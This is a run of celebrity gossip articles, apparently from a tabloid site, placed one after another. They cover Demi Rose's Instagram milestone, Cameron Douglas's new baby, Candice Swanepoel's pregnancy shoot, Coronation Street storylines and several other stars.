Adding a dramatic smoky eye look and bold rouge lip, the brunette oozed confidence as she fiercely posed for fans, to celebrate attaining the huge amount of followers on Instagram.

Nice to PVC you: She also slipped into a black latex crop top and hot pants, which rose high at her thigh to draw attention to her long legs as she posed

Risque: The top laced up like a corset across the chest to further accentuate her womanly curves

Lace dream: Demi later posed in a plunging lace bra and briefs set, before slipping into a sizzling semi-sheer lace dress, which gave a flash of even more skin

All eyes on me: Adding a dramatic smoky eye look and bold rouge lip, the brunette oozed confidence as she fiercely posed for fans

Bondage style: Demi also posed in a raunchy crochet unitard, complete with leather studded choker

Tease: While the unitard was more demure by covering most of her skin, it teased at her naked frame underneath with endless cut-outs across the legs and chest

Clearly delighted with the milestone, Demi shared the sizzling naked shot to the site as a thank you to her fans - writing in the caption: '6 Million Followers! Thank you for all your love, I appreciate all of you.'

Demi rose to prominence in May last year when she was spotted out with Rack City hitmaker Tyga, 27, in Cannes, during his a break from Keeping Up With The Kardashians star girlfriend Kyle Jenner.

As they were frequently spotted on the town together, the British stunner became better known as her jaw-dropping curves caught the public's attention.

Grateful: Clearly delighted with the milestone, Demi shared the sizzling naked shot to the site as a thank you to her fans - writing: 'Thank you for all your love, I appreciate all of you'

Leading lady: Demi rose to prominence in May last year when she was spotted out with Tyga in Cannes - but soon became better known for her jaw-dropping curves

Sharing a number of sexy snaps on social media, the brunette went on to scoop a modelling contract, following a link up with famed US publicity group Tazs Angels.

Her rise in popularity has enabled her to rub shoulders with a host of stars, including Canadian rapper Drake, with whom she was spotted leaving trendy London nightspot Tape in August.

In a previous interview with The Sun, the star revealed: 'Ive had Instagram since I was 18. Posed for selfies and pictures and it just grew from like 60,000 to 200,000 to a million to 3.2million now.

'In school I was quite popular on MySpace and that kind of followed on to Instagram. It was really weird when people started recognising me and stuff on the street. I just got used to it.'
Michael Douglas has welcomed his first grandchild at the age of 73.

Cameron, the eldest son of the Hollywood actor, announced the arrival of a daughter on Monday night, one year after completing a seven-year prison sentence.

The 39-year-old praised his 'beautiful Amazon warrior' girlfriend Viviane Thibes, 40, for the miracle in an Instagram post.

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Call be grandpa: Michael Douglas son Cameron (here together in November) has welcomed his first child, making the Hollywood actor a grandfather at 73

He wrote: 'Today my appreciation for Mothers all over the world has reached new heights...

'Today I took part in a miracle as my baby girl was introduced to the world through a beautiful Amazon warrior... Im so proud of you.'

Alongside the sentimental announcement, Cameron shared a picture of the Brazilian yoga-instructor during her pregnancy as she showed off her bare bump in a meditation pose.

News of Cameron's first baby joy broke in August, with a source telling People: 'Everyone is thrilled for him. Michael is looking forward to being a grandfather.'

Welcome to the world: Cameron shared a picture of his pregnant girlfriend Viviane Thibes, 40, after witnessing the 'miracle' of childbirth

'I love you': The proud new dad shared a gushing post about his 'Amazon warrior' on Monday night

Close: The 38-year-old Hollywood native welcomed a baby girl on Monday with his yoga-instructor girlfriend Viviane Thibes, 39 (here in November)

Family man: The Wall Street actor, 73, has son Dylan, 17, and daughter Carys, 14, with Oscar-winning actress Catherine Zeta-Jones, 47, his wife of 17 years (here in February 2016)

Cameron was last seen with his famous father just three weeks ago, at the movie premiere for Cocaine Godmother: The Griselda Blanco Story.

He also brought along his pregnant girlfriend, just ahead of the arrival of their first child.

Wall Street actor Michael, 73, also has son Dylan, 17, and daughter Carys, 14, with Oscar-winning actress Catherine Zeta-Jones, 47, his wife of 17 years.

The arrival comes one year after Cameron was released from prison after serving seven years for drug possession.

He received a five-year sentence for possession of heroin and selling methamphetamine.

His sentence was extended when he admitted to smuggling drugs into prison.

The star - who appeared in 2003's It Runs In The Family with his dad Michael as well as grandfather Kirk Douglas, 101 - has been sober ever since.

Thibes was first seen with Cameron just after he was released from prison in August 2016.

A kiss on the lips: Thibes was first seen with Cameron just after he was released from prison in August 2016

His lady love: She hails from Sao Paulo, Brazil and has a bachelor's degree in film at Hunter College in NYC. She has also acted in films like 2008's La rina

They were spotted holding hands in New York City.

She hails from Sao Paulo, Brazil and has a bachelor's degree in film at Hunter College in NYC.

She has also acted in films like 2008's La rina.

After getting out of prison Cameron told The Huffington Post: 'I feel thoroughly blessed. I have a beautiful and loving family who has faithfully supported me every step of the way, believing in me and refusing to give up in the face of one bleak adversity after the next.'

He added: 'I feel in the deepest recesses of my heart that there is a beautiful purpose hidden along this painful journey.'

On the mend: Cameron, seen in June in NYC, has stayed sober

His kids: The Black Rain star is pictured with son Dylan and daughter Carys in 2016

In 2013 Michael - who is best known for TV's The Streets Of San Francisco and the movie Basic Instinct - told Vanity Fair he was 'very disappointed in the system' when his son was not released from prison.

'My son is in federal prison,' he told reporters. 'Hes been a drug addict for a large part of his life. Part of the punishmentsif you happen to have a slip, and this is for a prisoner who is non-violent, as about a half-million of our drug-addicted prisoners arehes spent almost two years in solitary confinement. Right now Ive been told that I cant see him for two years. Its been over a year now. And Im questioning the system.'

He went on: 'Obviously at first, I was certainly disappointed in my son. But Ive reached a point now where Im very disappointed with the system. And as you can see from what Attorney General Eric Holder has been doing regarding our prison system, I think things are going to be revived, regarding nonviolent drug addicts. My last comment on that is the United States represents 5 percent of the worlds population and we have 25 percent of the worlds prisoners.'
She announced she's pregnant with her second child with fiance Hermann Nicolli over the weekend.

And Candice Swanepoel, 29, showed off her killer figure in a sizzling ivory swimsuit as she hit the beach on the Island of Fernando De Noronha, Brazil, on Tuesday.

The Victoria's Secret bombshell flaunted a hint of her growing baby bump as she frolicked in the crystal-clear waters during a racy fashion shoot.

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Making a splash: Pregnant Candice Swanepoel, 29, showed off her killer figure in a sizzling ivory swimsuit as she hit the beach on the Island of Fernando De Noronha, Brazil , on Tuesday

The South African model looked every inch the beach babe in the skintight one-piece, which featured a plunging low back and delicate spaghetti straps.

Flashing a peek of cleavage thanks to the scooped neckline, the garment's dazzling white hue perfectly offset Candice's bronzed glow.

Slicking her golden locks back, the lingerie model accessorised simply with opulent gold hoop earrings.

Mummy-to-be: The Victoria's Secret bombshell flaunted a hint of her growing baby bump as she frolicked in the crystal-clear waters during a racy fashion shoot

Bum's the word: The catwalk star showed off her enviably toned figure in the thong swimsuit

Turning heads: The South African model looked every inch the beach babe in the skintight one-piece, which featured a plunging low back and delicate spaghetti straps

On Friday, the statuesque model confirmed her pregnancy via Instagram with an adorable post cradling her stomach.

Wearing a forest green off-the-shoulder dress made by Jen's Pirate Booty, she captioned the sweet image, 'Christmas came early.#2.'

In October of last year, Candice welcomed son Anaca with longtime partner and now fiance, Hermann Nicoli.

Exciting: She announced she's pregnant with her second child with fiance Hermann Nicolli over the weekend

Stunning: Flashing a peek of cleavage thanks to the scooped neckline, the garment's dazzling white hue perfectly offset Candice's bronzed glow

Proud mum: She is already mother to one-year-old son Anaca, who she was pictured with on the beach earlier this week

'Christmas came early': On Friday, the statuesque model confirmed her pregnancy via Instagram with an adorable post cradling her stomach

In a previous interview with People, the beauty recalled her 'natural, no drugs' birthing process.

'I don't wanna put anyone off of having kids,' she said. 'I think society has made women afraid of giving [birth naturally], but it's totally doable if you prepare yourself in the right way.'

Candice later discussed what her favorite part of motherhood had been so far.

Sartorial maven: The blonde beauty later slipped into a black bikini with retro high-cut briefs

Check her out! A Fifties-inspired gingham number was also on the list of sizzling outfit changes for the swimwear shoot

Stepping stones: The statuesque beauty showed off her growing baby bump during the shoot

Working her angles: Candice tapped into her years of model experience as she reclined on some rocks in front of the camera

'Everything. He's been so sweet and been so good. Everybody is like, "You're so blessed with a good baby."

But while her first child has been a breeze, the beauty predicted her second child could be the opposite.

'I feel like the next one will be a terror just to remind me.'

Candid: In a previous interview with People, the beauty recalled her 'natural, no drugs' birthing process

Opening up: 'I don't wanna put anyone off of having kids,' she said. 'I think society has made women afraid of giving [birth naturally], but it's totally doable if you prepare yourself in the right way'
It was recently revealed that he is engaged to girlfriend Louise Gibbons.

And Michael Le Vell looked to be celebrating the occasion in style as he joined his new fiancee and friends for a drink at a pub in Sale, Manchester after the news was announced.

Sipping on a pint whilst Louise proudly showed off her gold and diamond engagement ring, the 53-year-old soap star seemed in good spirits on the outing.

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Newly engaged: Michael Le Vell looked to be celebrating the occasion in style as he joined his new fiancee and friends for a drink at the pub after the news was announced

Beaming broadly on the outing, Michael - who plays mechanic Kevin Webster on Coronation Street - also enjoyed a cigarette as he sat outside the bar.

Whilst news of the engagement only came to light this week, a source revealed that the couple have been betrothed for a year.

An insider told MailOnline: 'Michael been engaged for 12 months but is very private about his personal life so has not spoken about it at all.'

Flashing the rock: Sipping on a pint whilst fiancee Louise Gibbons proudly showed off her gold and diamond engagement ring, the 53-year-old soap star had seemed in good spirits

Two's company: Michael and Louise were seen chatting with one another whilst enjoying an al fresco drink - despite the chilly weather

The actor is said to be planning a low-key ceremony to mark his love for his 42-year-old fiance, after she stood by him as he fought his addictions and a court battle.

Michael had a turbulent few years after being acquitted of child sex offences in 2013.

He has battled to turn his life around after suffering with an alcohol and drug addiction six years ago but has made positive changes in his life to put him back to his best.

Holy smokes! Beaming broadly on the outing, Michael - who plays mechanic Kevin Webster on Coronation Street - also enjoyed a cigarette as he sat outside the bar

Cheers! Whilst news of the engagement only came to light this week, a source revealed to MailOnline that the couple have been betrothed for a year

Low-key outing: Michael was enjoying a quiet drink with his fiancee and friends after the news of their engagement came to light this week

Making plans: The actor is said to be planning a low-key ceremony to mark his love for his 42-year-old fiance, after she stood by him as he fought his addictions and a court battle

A source told The Sun: 'Michael has been to hell and back and even now feels the effects of the case.

'But throughout his battle with addiction he's had Louise by his side.'

The father-of-two met Louise near his Manchester home through a mutual friend in 2014.

Romantic: The Coronation Street star is reportedly planning a low-key ceremony to mark his love for the 42-year-old who stood by him as he fought his addictions

He will have Louise by his side, but now the star is reportedly facing bankruptcy proceedings after paying hefty legal fees to clear his name against child sex allegations.

The actor spent 200,000 fighting the charges before being found 'not guilty' of all 12 counts by a jury at Manchester Crown Court in 2013.

Ministry of Justice rules prevent people who can afford their defence from receiving tax-funded paybacks after the case, meaning all of the funding came out of the star's own pocket.

Difficult times: Michael, who plays Kevin Webster in the popular ITV soap, has had a turbulent few years after being accused of false child sex offences in 2013

Earlier this month, The Sun on Sunday reported that Michael had been contacted by the Bankruptcy Unit of the Land Registry about taking action.

A source told the paper: 'He had false accusations hanging over him for years and couldnt work.'

Michael's first marriage to his wife Janette broke down in the midst of the allegations and the actor, whose real name is Michael Turner, later had to sell their 750,000 home in Cheshire.
She is the genetically blessed spawn of actors Hollywood heavy weights Ethan Hawke and Uma Thurman.

And Maya Hawke has talked about the difficulties of living up to her well known parents ahead of her debut role as in the 2017 BBC adaptation of Little Women.

The 19-year-old Herald Sun this week: 'I'm very happy to take the good with the bad, it comes with having such brilliant people in my life as I'm forging my way and earning my place.'

'It comes with having such brilliant people in my life': Maya Hawke, 19, has talked about the difficulties of living up to her well known parents ahead of her debut role as in the 2017 BBC adaptation of Little Women

The actress gushed about her close relationship with each of her parents, who divorced in 2003.

'They've taught me so much, and continue to teach me every day. I have so much respect for their careers and their lives, and I'm very proud to be their daughter,' she said.

Maya's praise for her parents comes ahead of her debut on BBC's Little Women as Josephine 'Jo' March, previously played by the likes of Winona Ryder and Katherine Hepburn.

The past: The actress gushed about her close relationship with each of her parents, despite them divorcing in 2003 (pictured back in 2005)

'They've taught me so much, and continue to teach me every day': The actress gushed about her close relationship with each of her parents, despite them divorcing in 2003 (pictured left with mother Uma Thurman and right with father Ethan Hawke)

The New York-born stunner said Jo's character is an inspiration to her and Little Women was the first book she had read cover to cover.

'I didn't have the same societal obstacles that she had. I went to a great school, it's not 1860 any more, but I did have a lot of learning difficulties in learning how to read. That's why the first book I ever read was so late,' Maya said.

The up and coming actress also gushed about her legendary co-stars Murder, She Wrote's Angela Lansbury and Harry Potter's Michael Gambon, who played Dumbledore.

Starting on the small screen: Maya will her TV debut on BBC's Little Women as Josephine 'Jo' March (pictured), previously played by the likes of Winona Ryder and Katherine Hepburn

Inspired: Despite the age in era, The New York-born stunner said Jo's character was an inspiration to her, adding that it was the first book she had read cover to cover

Earlier in the year, she talked to Vanity Fair about her low key introduction to the acting industry.

'The truth is, I have made very few public appearances, and when I have, my parents have been very careful to allow me to have my own experience,' she said.

'The first "advice" I've gotten that comes to mind and probably some of the best has been not to worry about it too much and to smile if that will make you happy,' she told the publication.

BBC's three part series of Little Women will air on December 27, 28 and 29 on Stan.
Chrissy Teigen has poked fun at husband John Legend after he landed the title role in NBC's three-hour event, Jesus Christ Superstar Live in Concert!

The model, 32 - who is pregnant with the couple's second child - was typically quick-witted when the Grammy-winning musician, 38, announced his latest career news on Tuesday, taking to her Twitter page to offer a light-hearted take on things.

As the singer said he was 'thrilled' to be starring in the television musical, Chrissy joked: 'How are they gonna fit u in the manger?'

Joker: Chrissy Teigen has poked fun at husband John Legend after he landed the title role in NBC's three-hour event, Jesus Christ Superstar Live in Concert!

New role: The model, 32 - who is pregnant with the couple's second child - was typically quick-witted when the Grammy-winning musician, 38, announced his latest career news on Tuesday

The Ordinary People hitmaker responded to his model wife by saying: One of the many baby John Legends will be in the manger.'

John will appear in the showcase at Brooklyn's Marcy Armory, and will and executive produce alongside original composer Andrew Lloyd Webber and lyricist Tim Rice.

'It's such a powerful, meaningful musical and I'm humbled to be part of this performance,' the La La Land actor gushed.

'We've already formed an incredible team, and, as we finish casting, I'm certain we will put together some of the greatest talents around to do this work justice.'

British theatre director David Leveaux will helm the seventies rock opera with goth rocker Alice Cooper playing the tyrannical King Herod, with the show airing on Easter Sunday (April 1).

Light-hearted: As the singer said he was 'thrilled' to be starring in the television musical, Chrissy joked: 'How are they gonna fit u in the manger?'

Reply: The Ordinary People hitmaker responded to his model wife by saying: One of the many baby John Legends will be in the manger'

Hey mama! The Sports Illustrated cover girl is pregnant with the couple's second child

'It's a good day!' The Ohio-born R&B belter - turning 39 next week - was 'thrilled' to be starring in and executive producing the staging at Brooklyn's Marcy Armory alongside original composer Andrew Lloyd Webber and lyricist Tim Rice

'Excited to join the cast!' British theatre director David Leveaux will helm the seventies rock opera with goth rocker Alice Cooper (pictured) playing the tyrannical King Herod

First staged in Pittsburgh 1971: Jesus Christ Superstar is loosely based on the Gospels' accounts of the final week of Jesus's life, and the album topped the Billboard charts

'John Legend is a superstar,' Rice said. 'As a performer, his voice is infectious and effortless. As an actor, he is believable and honest. I'm thrilled he will be able to share his portrayal of Jesus with the world.'

Jesus Christ Superstar - first staged in Pittsburgh 1971 - is loosely based on the Gospels' accounts of the final week of Jesus's life, and the album topped the Billboard charts.

It was last staged on Broadway in 2012 at the Neil Simon Theatre, and there have been two film adaptations - Norman Jewison's version in 1973 and Gale Edwards' version in 2000.

John - who's an Emmy away from EGOT status - is currently in Manhattan with his pregnant wife Chrissy and their 20-month-old daughter Luna.

Family matters: John - who's an Emmy away from EGOT status - is currently in Manhattan with his pregnant wife Chrissy Teigen and their 20-month-old daughter Luna (pictured Saturday)

Legend (born Stephens) and his 32-year-old All of Me muse are likely having a son since she tweeted that was 'the embryo we have left' back on January 30.

Catch more of the wisecracking presenter providing 'color commentary' in the fourth season of Lip Sync Battle, which premieres January 18 on the Paramount Network (formerly Spike TV).

And the Penthouse Floor crooner will next tape Elton John: I'm Still Standing - A Grammy Salute on January 30 at Manhattan's Madison Square Garden alongside Miley Cyrus, Sam Smith, and Chris Martin.
Mark Wright and Michelle Keegan looked in great spirits as they cosied up to one another while visiting the 'happiest place on earth'.

The married couple were on hand to meet with the families affected by the Manchester Arena bombing - as the group were treated to a festive day out at Disneyland Paris on Tuesday.

Michelle, 30, was all-smiles on the outing, as she donned a pair of glittering gold Minnie ears as she posed in front of the fairy tale castle.

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Cosy couple: Mark Wright and Michelle Keegan looked in great spirits as they cosied up to one another while visiting the 'happiest place on earth' - Disneyland Paris on Tuesday

Layering up, the former Coronation Street star donned a padded black coat over a pair of leggings and brown woolen boots.

Meanwhile, Mark also got into the spirit of things with a grey Mickey Mouse beanie that he teamed with a khaki overcoat and skinny jeans.

Michelle and Mark joined the likes of John Bishop and the cast of Hollyoaks to meet with youngsters who were affected at the fateful Ariane Grande concert in May - where a suicide bomber killed 23 people including himself, while more than 500 were injured.

Caring couple: The married couple were on hand to meet with the families affected by the Manchester Arena bombing - as the group were treated to a festive day out

Monkeying around! Michelle, 30, was seen posing up a storm with King Louie from The Jungle Book whilst she kept things casual in a padded black boat and cosy brown boots

Happy to help: Michelle met with youngsters who were affected at the fateful Ariane Grande concert in May - where a suicide bomber killed 23 people including himself

The pair were no doubt glad they were able to lend their support to the victims as a couple after they had been separated for eight months.

Michelle recently wrapped up filming the latest series of Our Girl in South Africa, whilst Mark has been in Los Angeles for his new presenting gig on Extra.

Tweeting a tribute to his wife last week, Mark said how excited he was to reunite with Michelle so they could spend Christmas together.

He said: 'Done. 8 months away from home, away from loved ones, working ridiculous hours in ridiculous conditions @michkeegan you amaze me more & more every day. Im so proud of you, words cant even explain.

Snap happy: Hollyoaks cast members Sarah Jayne Dunn and Ellis Hollins posed for a selfie before boarding a Charity Disney flight to Disneyland Paris

Flying in style: Sarah Jayne Dunn and Daisy Wood Davis joined the youngsters on the plane

Helping hands: Sarah Jayne Dunn and Daisy Wood Davis from Hollyoaks helped serve breakfast to comedian John Bishop and the young people on the plane

Taking to the skies: Hollyoaks cast members Ross Adams, Daisy Wood Davis, Kirsty Lee Porter and Lauren Mcqueen were seen boarding the plane to Disneyland

'Its going to be the best Christmas ever !! I love you so much my little trooper.'

Michelle recently revealed that she had no idea she would be away for so long filming Our Girl, as she signed a contract for the third season before it was even commissioned.

Speaking to Radio 1 host Nick Grimshaw she said: 'I wasn't 100% there would be another series but I signed the option for there to be another.

Beaming: The married couple were seen with huge smiles on their faces as they soaked up the festivities

Getting involved: They were front row to witness the park's famous Disneyland parade

'Obviously the first time it was for five episodes but this time it was for 12 so it's overly doubled.

'I didn't know that at the time either. It's been a long, long filming schedule. I was away for three months last time and this time I was in South Africa for three months and then I had three weeks off then I was in Malaysia for three months.

'So over all I was away for seven months. It was a long time being away from home. I had to do it, the contract was signed. Book me a flight!'
Coronation Street's Pat Phelan stalks Faye Windass to her flat and barges his way in - after she discovered the shocking truth about his murdering ways.

The killer, played by Connor McIntyre, wears a look of thunderous anger as he jams his boot in the doorway and confronts the terrified teen, in scenes that will air next year.

The soap villain's reign of terror has resulted in the deaths of Michael Rodwell, Andy Carver and Vinny Ashford so far, and the newest photos of filming hint that Faye might be his next victim.

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Showdown: Coronation Street's Pat Phelan stalks Faye Windass to her flat and barges his way in - after she discovered the shocking truth about his murdering ways

He also orchestrated Anna Windass' downfall and plans to frame Faye's boyfriend Seb Franklin for his murders by making sure his fingerprints are on the gun used.

Faye finds out about his evil behaviour and vows to expose him.

But her knowledge may be her downfall, as Phelan follows her to an apartment block and confronts her.

Ordeal: The killer, played by Connor McIntyre, wears a look of thunderous anger as he jams his boot in the doorway and confronts the terrified teen, in scenes that will air next year

Nightmare: The soap villain's reign of terror has resulted in the deaths of Michael Rodwell, Andy Carver and Vinny Ashford so far, and the newest photos hint that Faye might be his next victim

Looking furious, the builder jams his foot in the doorway and sends Faye into an uncontrollable panic.

As Corrie stars films scenes up to six weeks before they are aired, viewers can expect to see the explosive showdown in 2018.

Actor Connor recently addressed Phelan's murderous behaviour, saying he was sure the builder would be brought to justice.

'I haven't seen much further up the road for Phelan but I imagine it will get darker,' he said on ITV's This Morning.

Evil: Looking furious, the builder jams his foot in the doorway and sends Faye into an uncontrollable panic

Oh dear: He confronts her after Faye finds out about his evil behaviour and vows to expose him

'Let's put it this way - I think my long-term future on the show is in serious doubt.'

Discussing his character's twisted actions, he added: 'I find myself asking what happens to a person once they realise a problem can be solved his way - does that then become a default position?'

Meanwhile Gary Windass, who was thought to be killed in an explosion in the Ukraine, was back from the dead as he prepared to shoot scenes as in Manchester on Friday.

Mikey North, who plays the character, was joined by Connor McIntyre while taking a break between scenes on the long-running ITV soap.

Twisted: He also orchestrated Anna Windass' downfall and plans to frame Faye's boyfriend Seb Franklin for his murders by making sure his fingerprints are on the gun used

Gripping: As Corrie stars films scenes up to six weeks before they are aired, viewers can expect to see the explosive showdown in 2018

The location, close to the same spot where Andy and Vinny were brutally killed at the hands of Phelan, suggests a gruesome discovery awaits Gary, whose departure from the show was confirmed in November.

Gary has been a character on the cobbles since 2008, but news of his death first emerged in October, weeks before news of his apparent demise in the Ukraine while working for the chief executive of an oil company reached Weatherfield.

However, it was claimed earlier this week that the character actually fakes his own death in a 'huge twist', and will return to the beloved soap during the Christmas special.
She was dressed to impress in a designer tee and fur coat.

But that didn't stop mom on the run Jaime King from taking a cheeky shortcut to her car as she hopped a fence while out running errands in Beverly Hills on Monday.

The Hart Of Dixie star, 38, looked stylish for her low-key day out, teaming a Gucci motif T-shirt with a luxurious fur coat.

Mom on the run! Jaime King from took a cheeky shortcut to her car as she hopped a fence while out running errands in Beverly Hills on Monday

The actress seemed to be in a rush as she hopped a fence in stretchy navy pants and high top white sneakers.

The mom-of-two wore pink cat eye sunglasses from Linda Farrow and carried a small black purse for her day out in Los Angeles.

Her hair was tied up in a bun and she carried a bottle of water, while appearing to go make-up free.

The actress recently weighed in on the Hollywood sexual harassment row, claiming Bob Weinstein - the brother of disgraced movie mogul Harvey Weinstein - called her a 'loser' for refusing to participate in a men's magazine shoot.

Designer threads: The Hart Of Dixie star, 38, looked stylish for her low-key day out, teaming a Gucci motif T-shirt with a luxurious fur coat

Speaking in October, the Sin City: A Dame to Kill For star tweeted in reference to the Weinstein scandal: 'Bob you called me at home & called me a looser [sic] w/ no career threatening me b/c I refused to do Maxim cover for you.

'And I truly hope that the properties revert to their rightful owners as you/Weinstein board were fully aware & abusive to actors/filmmakers.'

The Pearl Harbor star recently celebrated her 10-year wedding anniversary with her husband Kyle Newman.

The couple met on the set of Fanboys in 2005 and were married at Greystone Park in Beverly Hills on November 23, 2007.

Decade of love: The Pearl Harbor star recently celebrated her 10-year wedding anniversary with her husband Kyle Newman (pictured in October)

The couple have two children together, James Knight, four, and Leo Thames, two.

Taylor Swift is the godmother to their youngest son, Leo.

Jaime may be busy at home with her two children, but her career has yet to slow down.

The mom-of-two starred in the new film Bitch about a housewife that assumes the psyche of a dog as her husband cheats on her and her kids run rampant.

The project premiered on November 10, and Jaime has three more films hitting screens in 2018.
He has been laughing off reports with his Heart FM co-host Jenni Falconer in recent weeks after the pair were pictured holding hands following a charity gala.

After putting the furore firmly behind them, Jamie Theakston, 46, was pictured without his wedding ring as he headed out for a stroll with a pal around London's Mayfair on Tuesday.

The happily married broadcaster was seen pulling a number of faces as he happily chatted with his friend without his band.

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Strolling around: Jamie Theakston, 46, was pictured without his wedding ring as he headed out for a stroll with a pal around London 's Mayfair on Tuesday

Casually clad for the outing, Jamie combated December chill in a grey wool knee-length coat while he draped a complementing dark grey rucksack over his shoulder and showcased a ring-free hand.

Elsewhere, the former Live & Kicking star donned a simple blue shirt, along with a navy lightweight sweatshirt under his thick coat for his cheery outing.

Sporting dark-wash denims, Jamie teamed his look with a pair of light brown leather shoes for his afternoon stroll.

MailOnline have contacted a representative for Jamie Theakston for comment.

Stepping out: The happily married broadcaster was seen pulling a number of faces as he happily chatted with his friend without his wedding ring

Jamie's appearance comes after he was spotted leaving the Global Make Some Noise Gala held in London late last month with Jenni.

The duo were seen holding hands on their exit, before heading home in separate vehicles but have since laughed off the headlines on their radio show.

While they are both happily married to their respective partners - Jenni with James Midgley and Jamie with Sophie Siegle, who he tied the knot with back in 2007 - the two stars appeared to be having a great night as they waited for their taxis.

Wearing a striking green dress, Scottish TV presenter Jenni, 41, looked in high spirits as she cosied up to a suited and booted Jamie.

Laughing it off: Jamie's appearance comes after he was spotted leaving the Global Make Some Noise Gala held in London late last month with Jenni

Bliss: Jamie is a father of two with his wife Sophie Siegle who he married in 2007

MailOnline had contacted representatives for both Jamie and Jenni at the time.

While the pair were pictured holding hands, there is nothing to suggest anything more than friendship between the two.

Jenni has been married to James Midgley since 2010 and together they have a daughter Ella, who they welcomed into the world in 2011.

Jamie is a father of two with his wife Sophie Siegle who he married in 2007.
It's been almost two years since she was last seen in Weatherfield.

But Alison King, 44, is set to make her comeback as Carla Connor in the soap's festive special later this month.

ITV teased the Corrie legend's return in the episode's new trailer, which was unveiled by the channel on Tuesday.

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Carla Connor is back! ITV's new trailer for Coronation Street's festive special teases the legend's return as she's seen spending time with her family at the pub

Carla is first seen spending time with her family at the pub, as she says: 'Cheer up, it's Christmas!'

Despite her cheery demeanor, though, there seems to be more to her return, and now that's she's back it's clear that she's going to be in a pretty vulnerable position.

Her half-brother Aidan, played by Shayne Ward, 33, also looks less than pleased by the prospect of spending time with her in the trailer.

Carla was last seen on the show in 2016, but after causing two huge car crashes she decided it was time to leave and move to Devon after being on the Street for almost a decade.

Time for revenge: It's not all about the festive cheer as the epic Christmas trailer also teased a huge conflict between Peter Barlow and Billy Mayhew.

But it's not all about reunions and the festive cheer as the epic Christmas trailer also teased a huge conflict between Peter Barlow and Billy Mayhew.

Now aware of the vicar's role in the death of his twin sister, Susan, in 2001, Billy is determined to take his revenge on the man.

One scene sees him menacingly turn to Billy in a church, and say: 'Why hurt myself, when I can hurt you?'

Billy is then seen tied up in the boot of a car, desperately pleading for help once he comes to.

Coronation Street's festive special airs on ITV on Christmas Day at 8pm.

In a preview of scenes that will air next year, Coronation Street's Pat Phelan stalks Faye Windass to her flat and barges his way in - after she discovered the shocking truth about his murdering ways.

The killer, played by Connor McIntyre, wears a look of thunderous anger as he jams his boot in the doorway and confronts the terrified teen.

The soap villain's reign of terror has resulted in the deaths of Michael Rodwell, Andy Carver and Vinny Ashford so far, and the newest photos of filming hint that Faye might be his next victim.

Showdown: Coronation Street's Pat Phelan stalks Faye Windass to her flat and barges his way in - after she discovered the shocking truth about his murdering ways

He also orchestrated Anna Windass' downfall and plans to frame Faye's boyfriend Seb Franklin for his murders by making sure his fingerprints are on the gun used.

Faye finds out about his evil behaviour and vows to expose him.

But her knowledge may be her downfall, as Phelan follows her to an apartment block and confronts her.

Ordeal: The killer, played by Connor McIntyre, wears a look of thunderous anger as he jams his boot in the doorway and confronts the terrified teen, in scenes that will air next year

Nightmare: The soap villain's reign of terror has resulted in the deaths of Michael Rodwell, Andy Carver and Vinny Ashford so far, and the newest photos hint that Faye might be his next victim

Looking furious, the builder jams his foot in the doorway and sends Faye into an uncontrollable panic.

As Corrie stars films scenes up to six weeks before they are aired, viewers can expect to see the explosive showdown in 2018.

Actor Connor recently addressed Phelan's murderous behaviour, saying he was sure the builder would be brought to justice.

'I haven't seen much further up the road for Phelan but I imagine it will get darker,' he said on ITV's This Morning.

Evil: Looking furious, the builder jams his foot in the doorway and sends Faye into an uncontrollable panic

Oh dear: He confronts her after Faye finds out about his evil behaviour and vows to expose him

'Let's put it this way - I think my long-term future on the show is in serious doubt.'

Discussing his character's twisted actions, he added: 'I find myself asking what happens to a person once they realise a problem can be solved his way - does that then become a default position?'

Meanwhile Gary Windass, who was thought to be killed in an explosion in the Ukraine, was back from the dead as he prepared to shoot scenes as in Manchester on Friday.

Mikey North, who plays the character, was joined by Connor McIntyre while taking a break between scenes on the long-running ITV soap.

Twisted: He also orchestrated Anna Windass' downfall and plans to frame Faye's boyfriend Seb Franklin for his murders by making sure his fingerprints are on the gun used

Gripping: As Corrie stars films scenes up to six weeks before they are aired, viewers can expect to see the explosive showdown in 2018

The location, close to the same spot where Andy and Vinny were brutally killed at the hands of Phelan, suggests a gruesome discovery awaits Gary, whose departure from the show was confirmed in November.

Gary has been a character on the cobbles since 2008, but news of his death first emerged in October, weeks before news of his apparent demise in the Ukraine while working for the chief executive of an oil company reached Weatherfield.

However, it was claimed earlier this week that the character actually fakes his own death in a 'huge twist', and will return to the beloved soap during the Christmas special.
He's the three-year-old son of PR queen Roxy Jacenko who's already amassed 25,600 Instagram followers.

And on Tuesday, Hunter Curtis delighted fans with a sweet clip where he is seen cheekily negotiating with his famous mother.

Nestled in close to one another, the adorable toddler shared to camera: 'You have to kiss me and cuddle me, and then do three push-ups!'

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'You have to kiss and cuddle me and then do three push-ups!' Roxy Jacenko's adorable son Hunter Curtis reveals the art of negotiating in a sweet Instagram video

The short clip saw Hunter in a grey pyjama top with a comic-related graphic on the front, lying next to Roxy on a plush couch in their North Bondi home.

Roxy, 37, cut a casual figure, wearing a white sleeveless top and had her signature blonde locks swept into an effortless ponytail.

Hunter instructed his well-known mother on the art of negotiating, sharing to camera: 'Mum, the reason...You need to kiss me and cuddle me and you have to kiss me and cuddle me.

Sweet: The short clip saw Hunter in a grey pyjama top with a comic-related graphic on the front, lying next to Roxy on a plush couch in their North Bondi home

Low-key: Roxy, 37, cut a casual figure, wearing a white sleeveless top and had her signature blonde locks swept into an effortless ponytail

'And then you have to do three push-ups with me and then there,' the youngster continued.

The short video had Hunter's followers praising the tot, with one in particular commenting: 'Oh he is just gorgeous.'

While another followed suit with: 'That little voice though!'

The sweet clip comes shortly after Hunter celebrated graduating from daycare to 'big school' with a yellow cake, that appeared to have been inspired by the emoji smiley face.

Milestone: The sweet clip comes shortly after Hunter celebrated graduating from daycare to 'big school' with a yellow cake, that appeared to have been inspired by the emoji smiley face

Sweet snap: The cake, created by exclusive Sydney bakery The Cupcake Princess, looked to have gone down a treat with the famous family

Roxy took to Instagram to share a close-up of the cake, created by exclusive Sydney bakery The Cupcake Princess, mounted on a black tray and emblazoned with icing that read: 'Big School 2018!!'

In one video, Hunter is seen gleefully tucking into the fondant-covered treat, as Roxy captioned the post: 'Happy Graduation to my not so little Hunty. Best friends forever >> big school 2018.'

'Thank you @thecupcakeprincess_sydney - deliveries when he was born and now when he is ready for school x,' the nostalgic mother added.

Notoriety: Hunter is the son of PR queen Roxy, who runs his Instagram account boasting 25,600 followers
She reunited with on-off boyfriend Justin Bieber this fall.

